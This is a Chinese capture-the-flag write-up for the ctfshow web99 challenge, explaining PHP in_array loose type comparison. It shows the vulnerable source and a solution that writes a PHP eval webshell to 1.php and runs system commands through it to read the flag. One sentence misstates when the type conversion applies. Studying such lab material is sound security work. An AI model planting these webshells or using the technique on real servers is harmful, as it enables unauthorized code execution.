[ctfshow web入门]web99 in_array的弱比较漏洞

信息收集

array_push(array, value):向数组最后的位置插入value

in_array(value, array, type):其中value是要查找的值,array是需要查找的的数组,type是查找的类型,如果没有指定类型,则以弱比较方式查找

in_array存在一个弱比较漏洞,也就是当type设置时,且value的类型与数组数据内容类型不同时,value会被转化为数组数据的类型。此时如果value是字符串,而array数据类型是int,那么字符串会被转化为int

php 复制代码
highlight_file(__FILE__);
// 生成一个数组
$allow = array();
// 遍历 36 到 0x36d;0x36d = 877
// 向数组插入元素,随机数1到最多877
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
// 查询是否存在$_GET['n'],如果存在则以$_GET['n']为文件名写入$_POST['content']
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

解题

由于in_array未设置type,我们构造?n=1.php,此时in_array比较时,1.php被强制类型转化为int,也就是1,1大概率存在于数组中,此时我们向1.php写入一句话木马即可

s 复制代码
?n=1.php
post:
content=<?php eval($_GET[cmd]);?>

再访问我们的木马文件,获取目录和flag

s 复制代码
1.php?cmd=system('ls');
1.php?cmd=system('tac flag36d.php');

web    目录    web

相关推荐
MOON404☾6 小时前
006.Backdoor后门编写
网络·安全·网络安全·系统安全
专注前端30年8 小时前
【PHP开发与安全防护实战】性能调优手册
android·安全·php
信创天地8 小时前
深耕金融政务核心场景:国产化数据库迁移的全流程架构设计与风险管控
运维·网络安全·系统架构·系统安全·运维开发
oMcLin9 小时前
如何在 RHEL 7 上优化 Nginx 与 PHP‑FPM 配置,确保高并发 Web 应用的稳定性与响应速度?
前端·nginx·php
蜂蜜黄油呀土豆12 小时前
计算机网络中的常见网络场景与问题排查
tcp/ip·计算机网络·网络安全·http请求与响应
IT=>小脑虎12 小时前
PHP零基础衔接进阶知识点【详解版】
开发语言·学习·php
德迅云安全-小潘12 小时前
H5安全风险与防护策略:构建可信的移动互联网服务
web安全
xifangge202513 小时前
PHP 接口跨域调试完整解决方案附源码(从 0 到定位问题)
开发语言·php
ICT董老师14 小时前
通过kubernetes部署nginx + php网站环境
运维·nginx·云原生·容器·kubernetes·php
bleach-14 小时前
buuctf系列解题思路祥讲--[SUCTF 2019]CheckIn1--文件上传以及user.ini的应用
nginx·web安全·网络安全·php